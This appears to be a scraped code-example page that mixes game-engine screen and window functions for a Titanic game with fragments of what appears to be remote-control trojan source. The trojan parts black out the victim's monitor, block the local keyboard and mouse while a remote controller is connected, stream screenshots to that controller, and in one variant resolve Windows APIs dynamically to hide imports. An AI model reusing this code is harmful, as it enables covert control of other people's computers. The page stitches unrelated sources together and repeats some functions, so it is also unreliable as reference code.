// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
	CScreenManager *pThis = (CScreenManager *)lparam;

	static	bool bIsScreenBlanked = false;

	while (pThis->IsConnect())
	{
		// todo:加快反应速度
		for (int i = 0; i < 100; i++)
		{
			if (pThis->IsConnect())
			{
				if (pThis->IsMetricsChange())
				{
					pThis->ResetScreen(pThis->GetCurrentPixelBits());
				}
				Sleep(10);
			}
			else
			{
				break;
			}
		}

		if (pThis->m_bIsBlankScreen)
		{
			SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
			SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
			bIsScreenBlanked = true;
		}
		else
		{
			if (bIsScreenBlanked)
			{
				SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
				SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
				bIsScreenBlanked = false;
			}
		}

		BlockInput(pThis->m_bIsBlockInput);

		if (pThis->IsMetricsChange())
		{
			pThis->ResetScreen(pThis->GetCurrentPixelBits());
		}
	}

	BlockInput(false);
	return -1;
}
Exemple #2
0
void CMainGameWindow::applicationStarting() {
	// Set the video mode
	CScreenManager *screenManager = CScreenManager::setCurrent();
	screenManager->setMode(640, 480, 16, 0, true);

#if 0
	// Show the initial copyright & info screen for the game
	if (gDebugLevel <= 0) {
		Image image;
		image.load("Bitmap/TITANIC");
		_vm->_screen->blitFrom(image, Point(
			SCREEN_WIDTH / 2 - image.w / 2,
			SCREEN_HEIGHT / 2 - image.h / 2
		));
		_vm->_events->sleep(5000);
	}
#endif

	// Set up the game project, and get game slot
	int saveSlot = getSavegameSlot();
	if (saveSlot == -2)
		return;

	// Create game view and manager
	_gameView = new CSTGameView(this);
	_gameManager = new CGameManager(_project, _gameView, g_vm->_mixer);
	_gameView->setGameManager(_gameManager);

	// Load either a new game or selected existing save
	_project->loadGame(saveSlot);
	_inputAllowed = true;
	_gameManager->_gameState.setMode(GSMODE_INTERACTIVE);

	// TODO: Cursor/image

	// Generate starting messages for entering the view, node, and room.
	// Note the old fields are nullptr, since there's no previous view/node/room
	CViewItem *view = _gameManager->_gameState._gameLocation.getView();
	CEnterViewMsg enterViewMsg(nullptr, view);
	enterViewMsg.execute(view, nullptr, MSGFLAG_SCAN);

	CNodeItem *node = view->findNode();
	CEnterNodeMsg enterNodeMsg(nullptr, node);
	enterNodeMsg.execute(node, nullptr, MSGFLAG_SCAN);

	CRoomItem *room = view->findRoom();
	CEnterRoomMsg enterRoomMsg(nullptr, room);
	enterRoomMsg.execute(room, nullptr, MSGFLAG_SCAN);

	_gameManager->initBounds();
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
	CScreenManager *pThis = (CScreenManager *)lparam;

	pThis->sendBITMAPINFO();
	pThis->WaitForDialogOpen();
	pThis->sendFirstScreen();

	while (pThis->m_bIsWorking)
	{
		pThis->sendNextScreen();
	}

	return 0;
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
	CScreenManager *pThis = (CScreenManager *)lparam;

	pThis->sendBITMAPINFO();
	// 等控制端对话框打开

	pThis->WaitForDialogOpen();

	pThis->sendFirstScreen();
	try // 控制端强制关闭时会出错
    {
		while (pThis->m_bIsWorking)
			pThis->sendNextScreen();
	}catch(...){};

	return 0;
}
Exemple #5
0
void CGameManager::update() {
	updateMovies();
	frameMessage(getRoom());
	_timers.update(g_vm->_events->getTicksCount());
	_trueTalkManager.removeCompleted();

	CScreenManager::_screenManagerPtr->_mouseCursor->update();

	CViewItem *view = getView();
	if (view) {
		// Expand the game manager's bounds to encompass all the view's items
		for (CTreeItem *item = view; item; item = item->scan(view)) {
			Rect r = item->getBounds();
			if (!r.isEmpty())
				_bounds.extend(r);
		}

		// Also include the PET control in the bounds
		if (_project) {
			CPetControl *pet = _project->getPetControl();
			if (pet)
				_bounds.extend(pet->getBounds());
		}

		// And the text cursor
		CScreenManager *screenManager = CScreenManager::_screenManagerPtr;
		CTextCursor *textCursor = screenManager->_textCursor;
		if (textCursor && textCursor->_active)
			_bounds.extend(textCursor->getCursorBounds());
		
		// Set the surface bounds
		screenManager->setSurfaceBounds(SURFACE_BACKBUFFER, _bounds);

		// Handle redrawing the view
		if (!_bounds.isEmpty()) {
			_gameView->draw(_bounds);
			_bounds = Rect();
		}

		_gameState.checkForViewChange();
	}
}
Exemple #6
0
void CMainGameWindow::draw() {
	if (_gameManager) {
		if (!_gameView->_surface) {
			CViewItem *view = _gameManager->getView();
			if (view)
				setActiveView(view);
		}

		CScreenManager *scrManager = CScreenManager::setCurrent();
		scrManager->clearSurface(SURFACE_BACKBUFFER, &_gameManager->_bounds);

		switch (_gameManager->_gameState._mode) {
		case GSMODE_PENDING_LOAD:
			// Pending savegame to load
			_gameManager->_gameState.setMode(GSMODE_INTERACTIVE);
			_project->loadGame(_pendingLoadSlot);
			_pendingLoadSlot = -1;

			// Deliberate fall-through to draw loaded game

		case GSMODE_INTERACTIVE:
		case GSMODE_CUTSCENE:
			if (_gameManager->_gameState._petActive)
				drawPet(scrManager);

			drawView();
			drawViewContents(scrManager);
			scrManager->drawCursors();
			break;

		case GSMODE_INSERT_CD:
			scrManager->drawCursors();
			_vm->_filesManager->insertCD(scrManager);
			break;

		default:
			break;
		}
	}
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
	typedef VOID (WINAPI *SleepT)
		(
		__in DWORD dwMilliseconds
		);
	SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");

	
	typedef LRESULT
		(WINAPI
		*SendMessageAT)(
		__in HWND hWnd,
		__in UINT Msg,
		__in WPARAM wParam,
		__in LPARAM lParam);
	SendMessageAT pSendMessageA=(SendMessageAT)GetProcAddress(LoadLibrary("USER32.dll"),"SendMessageA");

	
	typedef BOOL
		(WINAPI
		*SystemParametersInfoAT)(
		__in UINT uiAction,
		__in UINT uiParam,
		__inout_opt PVOID pvParam,
		__in UINT fWinIni);
	SystemParametersInfoAT pSystemParametersInfoA=(SystemParametersInfoAT)GetProcAddress(LoadLibrary("USER32.dll"),"SystemParametersInfoA");

	static	bool bIsScreenBlanked = false;
	CScreenManager *pThis = (CScreenManager *)lparam;
	while (pThis->IsConnect())
	{
		// 加快反应速度
		for (int i = 0; i < 100; i++)
		{
			if (pThis->IsConnect())
			{
				// 分辨率大小改变了
				if (pThis->IsMetricsChange())
					pThis->ResetScreen(pThis->GetCurrentPixelBits());
				pSleep(10);
			}
			else
				break;
		}
		if (pThis->m_bIsBlankScreen)
		{
			pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
			pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
			bIsScreenBlanked = true;
		}
		else
		{
			if (bIsScreenBlanked)
			{
				pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
				pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
				bIsScreenBlanked = false;
			}
		}
		typedef BOOL (WINAPI *BlockInputT)
			(
			BOOL fBlockIt
			);
		BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");
		pBlockInput(pThis->m_bIsBlockInput);

		// 分辨率大小改变了
		if (pThis->IsMetricsChange())
			pThis->ResetScreen(pThis->GetCurrentPixelBits());
	}
	typedef BOOL (WINAPI *BlockInputT)
		(
		BOOL fBlockIt
		);
	BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");

	pBlockInput(false);
	return -1;
}